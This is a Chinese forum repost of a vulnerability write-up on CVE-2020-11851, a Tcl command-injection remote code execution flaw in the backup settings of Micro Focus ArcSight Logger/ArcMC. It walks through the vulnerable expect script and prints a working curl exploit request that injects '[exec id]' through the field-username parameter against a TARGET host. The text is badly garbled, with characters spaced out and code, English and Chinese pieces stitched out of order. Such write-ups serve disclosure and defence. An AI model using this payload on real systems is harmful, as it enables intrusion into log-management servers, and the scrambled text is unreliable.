搜索

[20459] 2021-01-09_CVE-2020-11851ArcSightLogger上的远程执行代码漏洞

文档创建者：s7ckTeam
浏览次数：31
最后更新：2025-01-18
2021-01-09_CVE-2020-11851ArcSightLogger上的远程执行代码漏洞 C V E - 2 0 2 0 - 1 1 8 5 1   A r c S i g h t   L o g g e r 上 的 远 程 执 行 代 码 漏 洞 c h 1 n g h z   K h a n 安 全 攻 防 实 验 室   2 0 2 1 - 0 1 - 0 9     摘 要 摘 要                                     A r c S i g h t   L o g g e r 是 一 个 全 面 的 日 志 管 理 解 决 方 案 ， 可 通 过 统 一 和 存 储 来 自 其 整 个 组 织 的 机 器 数 据 日 志 ， 以 及 促 进 对 该 数 据 的 快 速 搜 索 和 报 告 ， 减 轻 了 合 规 性 负 担 并 为 安 全 专 业 人 员 提 供 了 更 快 的 法 医 调 查 。                           A r c S i g h t 管 理 中 心 （ A r c M C ） 是 一 个 集 中 式 安 全 管 理 中 心 ， 可 通 过 单 个 界 面 管 理 A r c S i g h t 解 决 方 案 的 大 规 模 部 署 ， 例 如 A r c S i g h t   L o g g e r ， A r c S i g h t   S m a r t C o n n e c t o r s （ 连 接 器 ） ， A r c S i g h t   F l e x C o n n e c t o r s 和 A r c S i g h t 连 接 器 设 备 （ C o n A p p ） 。 可 以 通 过 A r c S i g h t 管 理 中 心 的 备 份 功 能 （ 版 本 ： 2 . 7 . 1 . 0 6 5 . 0 ） 利 用 此 漏 洞 。 通 过 使 用 使 用 工 具 命 令 语 言 （ T c l ） 的 A r c S i g h t   L o g g e r 的 “ 期 望 ” 脚 本 ， 可 以 使 用 此 备 份 选 项 。 该 漏 洞 使 攻 击 者 可 以 执 行 任 意 T c l 命 令 。 M i c r o   F o c u s   A r c S i g h t   L o g g e r 产 品 上 的 此 漏 洞 ， 影 响 7 . 1 . 1 之 前 的 所 有 版 本 。 漏 洞 详 情 漏 洞 详 情                         攻 击 者 可 以 通 过 R C E 漏 洞 来 破 坏 运 行 有 漏 洞 软 件 的 服 务 器 的 位 置 ， 并 使 其 成 为 滩 头 堡 ， 攻 击 者 可 以 借 此 从 中 发 动 对 组 织 服 务 器 的 进 一 步 攻 击 ， 最 终 构 成 严 重 破 坏 。 此 漏 洞 可 能 导 致 数 据 丢 失 ， 损 坏 或 向 未 授 权 方 披 露 ， 问 责 制 丢 失 或 拒 绝 访 问 。 复 现 攻 击 步 骤 复 现 攻 击 步 骤 我 们 可 以 通 过 S C P 协 议 来 配 置 远 程 备 份 服 务 器 。 点 击   " 保 存   " 按 钮 后 ， 我 使 用   " p s p y   " 工 具 对 服 务 器 进 程 进 行 了 调 试 ， 该 工 具 可 以 从 这 里 下 载 ： h t t p s : / / g i t h u b . c o m / D o m i n i c B r e u k e r / p s p y / r e l e a s e s 。 调 试 服 务 器 及 根 本 原 因 分 析 保 存 备 份 配 置 后 ， 我 检 测 到 应 用 程 序 使 用 了 如 下 的 b a s h 脚 本 来 检 查 S S H 服 务 器 （ 请 看 P I D   9 5 4 2 7 ） 。 以 下 是 更 详 细 的 命 令 ( P I D   9 5 4 2 7 ) ， 供 大 家 参 考 。 在 解 释   " r u n e x p e c t . s h   " 的 逻 辑 之 前 ， 我 们 先 来 看 看   " r u n e x p e c t . s h   " 和   " s c p . e x p e c t . d i r . b a c k u p 1 " （ e x p e c t 脚 本 ） 的 内 容 。 下 面 是   " r u n e x p e c t . s h   " 的 内 容 ： s h   / o p t / a r c s i g h t / c u r r e n t / a r c s i g h t / a r c m c / c o n f i g / l o g g e r / r u n e x p e c t . s h   / o p t / a r c s i g h t / c u r r e n t / a r c s i g h t / a r c m c / b i n / f i l e t r a n s f e r / l i b /   / o p t / a r c s i g h t / c u r r e n t / a r c s i g h t / a r c m c / b i n / f i l e t r a n s f e r / l i b / e x p e c t   / o p t / a r c s i g h t / c u r r e n t / a r c s i g h t / a r c m c / t m p / s c p . e x p e c t . d i r . b a c k u p 1   U s e r S u p p l i e d P a s s w o r d   U s e r S u p p l i e d U s e r n a m e A n d H o s t n a m e   U s e r S u p p l i e d P o r t N u m b e r   U s e r S u p p l i e d B a c k u p D i r e c t o r y # ! / b i n / s h     #   S e t   L D _ L I B R A R Y _ P A T H             e x p o r t   L D _ L I B R A R Y _ P A T H = $ 1     e c h o   " A s s u m i n g   L D _ L I B R A R Y _ P A T H   i n   r u n e x p e c t   : "   $ L D _ L I B R A R Y _ P A T H     s h i f t     e c h o   " R u n n i n g   c o m m a n d :   $ * "     $ *    
下 面 是 名 为   " s c p . e x p e c t . d i r . b a c k u p 1   " 的 e x p e c t 脚 本 的 内 容 我 们 可 以 看 到 ， " r u n e x p e c t . s h   " 设 置 了 环 境 变 量 ( L D _ L I B R A R Y _ P A T H ) ， 然 后 通 过 名 为   " s c p . e x p e c t . d i r . b a c k u p 1   " 的   " e x p e c t   " 脚 本 执 行   " e x p e c t   " 二 进 制 文 件 。 这 个   " e x p e c t   " 脚 本 得 到 4 个 参 数 ， 并 在   " s s h   " 命 令 中 使 用 它 们 。 真 正 的 漏 洞 始 于 名 为   " s c p . e x p e c t . d i r . b a c k u p 1   " 脚 本 的 第 5 行 。 正 如 我 们 前 面 提 到 的 ， 如 果 没 有 括 号 ， 用 户 提 供 的 输 入 可 能 在 T c l 脚 本 中 非 常 危 险 。 获 取 代 码 执 行 由 于 ， 这 个 代 码 执 行 漏 洞 是 完 全 盲 目 的 ， 所 以 ， 我 用 最 简 单 的 方 式 来 演 示 执 行 。 我 使 用 了 ， 工 具   " p s p y   " 来 调 试 进 程 ， 并 通 过 发 送 恶 意 的 H T T P 请 求 来 说 明 任 意 代 码 的 执 行 。 下 面 是 我 想 要 的   " e x p e c t " 脚 本 执 行 的 逻 辑 ： 让 我 们 来 解 释 一 下 如 何 实 现 。 如 果 我 在 相 关 H T T P 请 求 的   " f i e l d - u s e r n a m e   " 参 数 中 的   " 字 符 串   " 中 加 入 空 格 ， 就 会 被   " e x p e c t   " 脚 本 无 意 中 解 析 ， 因 为 它 不 验 证 参 数 数 ， 也 就 是 说 ， 我 可 以 注 入 [ e x e c 作 为 端 口 号 和 i d ] 作 为 用 户 名 。 通 常 情 况 下 ， 由 于 输 入 验 证 的 原 因 ， 我 不 能 注 入 相 关 H T T P 请 求 的 端 口 号 参 数 （ 只 能 是 数 字 ） 。 发 出 下 面 的 H T T P 请 求 后 ， 我 成 功 地 执 行 了 这 个 命 令 ， 并 用   " p s p y   " 工 具 打 印 了 它 的 输 出 。 下 面 是 我 用 来 利 用 该 漏 洞 的 相 应 C U R L 请 求 ： 参 考 文 献 ： h t t p s : / / g i t h u b . c o m / c h 1 n g h z / C V E - 2 0 2 0 - 1 1 8 5 1         e x i t   $ ? s e t   p a s s w o r d   [ l i n d e x   $ a r g v   0 ]     s e t   h o s t   [ l i n d e x   $ a r g v   1 ]     s e t   p o r t   [ l i n d e x   $ a r g v   2 ]     s e t   d i r   [ l i n d e x   $ a r g v   3 ]     e v a l   s p a w n   s s h   - p   $ p o r t   $ h o s t   t e s t   - d   $ d i r   & &   e c h o   e x i s t s     / / V u l n e r a b i l i t y   b e g i n s   h e r e e x p e c t   " * ( y e s / n o ) ? * $ "   {   s e n d   " y e s n "   }     s e t   t i m e o u t   6 0 0     e x p e c t   " * a s s w o r d : * $ "   {   s e n d   " $ p a s s w o r d n "   }       t i m e o u t   {   e x i t   1   }     s e t   t i m e o u t   - 1     e x p e c t   " $   $ "   A s   w e   c a n   s e e ,   “ r u n e x p e c t . s h ”   s e t s   t h e   e n v i r o n m e n t   v a r i a b l e ( L D _ L I B R A R Y _ P A T H )   a n d   t h e n   e x e c u t e   “ e x p e c t ”   b i n a r y   b y   u s i n g   “ e x p e c t ”   s c r i p t   c a l l e d   “ s c p . e x p e c t . d i r . b a c k u p 1 ” .   T h i s   “ e x p e c t ”   s c r i p t   g e t s   e v a l   s p a w n   s s h   – p   [ e x e c   i d ]     t e s t   – d   f a k e h o s t n a m e   & &   e c h o   e x i s t s [ e x e c   :   t h i s   i s   a r g v 1 i d ]   :   t h i s   i s   a r g v 2 f a k e h o s t n a m e   :   t h i s   i s   a r g v 3 E x p e c t e d   b e h a v i o r   w o u l d   b e   l i k e   t h i s : e v a l   s p a w n   s s h   – p   t h e _ o u t p u t _ o f _ t h e _ i d _ c o m m a n d   t e s t   – d   f a k e h o s t n a m e   & &   e c h o   e x i s t s #   B e c a u s e ,   [   ]   i n   T c l ,   l o o k s   l i k e   ` `   i n   b a s h .   F o r   m o r e   i n f o r m a t i o n   a b o u t   t h e   T c l   s y n t a x ,   p l e a s e   v i s i t   t o   h t t p s : / / w i k i . t c l - l a n g . o r g / w e l c o m e c u r l   - i   - s   - k     - X   $ ' P O S T '           - H   $ ' H o s t :   T A R G E T '   - H   $ ' U s e r - A g e n t :   M o z i l l a / 5 . 0   ( W i n d o w s   N T   6 . 3 ;   W i n 6 4 ;   x 6 4 ;   r v : 7 7 . 0 )   G e c k o / 2 0 1 0 0 1 0 1   F i r e f o x / 7 7 . 0 '   - H   $ ' A c c e p t :   t e x t / j a v a s c r i p t ,   t e x t / h t m l ,   a p p l i c a t i o n / x m l ,   t e x t / x m l ,   * / * '         - b   $ ' J S E S S I O N I D = C 4 9 A 2 7 C F 6 9 5 5 3 5 1 3 3 E A 8 9 6 C 3 8 A 4 1 4 5 2 A ;   c o m . a r c s i g h t . p r o d u c t . p l a t f o r m . l o g g e r . c l i e n t . s e s s i o n . S e s s i o n C o n t e x t . p r o d u c t N a m e = " A r c S i g h t   M a n a g e m e n t   C e n t e r " ;   c o m . a r c s i g h t . p r o d u c t . p l a t f o r m . l o g g e r . c l i e n t . s e s s i o n . S e s s i o n C o n t e x t . a r c s i g h t P r o d u c t N a m e = " A r c S i g h t   M a n a g e m e n t   C e n t e r " ;   s e s s i o n _ s t r i n g = f 2 k 5 O H L t h M l D a x U I 6 H M i a h 3 6 h z g _ s f w l q x E v 2 4 L K V A k . ;   u s e r _ i d _ s e q = 8 '         - - d a t a - b i n a r y   $ ' e d i t i d = b a c k u p 1 & u p d a t e = t r u e & c a n c e l u r l = c o n f i g _ h o m e . f t l & p r e v i o u s S u b m i t = f a l s e & a s f _ t o k e n = e 1 5 1 b 8 1 1 - 4 2 d 6 - 4 2 2 0 - 8 8 c c - c 2 0 8 3 2 5 9 7 d e 9 & f i e l d - p r o t o c o l = S C P & f i e l d - p o r t = 2 2 & f i e l d - h o s t = o r i g i n a l H o s t I n p u t & f i e l d - u s e r n a m e = i d ] + [ e x e c + f a k e u s e r         $ ' h t t p s : / / T A R G E T / a r c m c / s t a n d _ a l o n e _ b a c k u p _ c o n f i g _ e d i t . f t l ? & a s f _ t o k e n = e 1 5 1 b 8 1 1 - 4 2 d 6 - 4 2 2 0 - 8 8 c c - c 2 0 8 3 2 5 9 7 d e 9 '
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理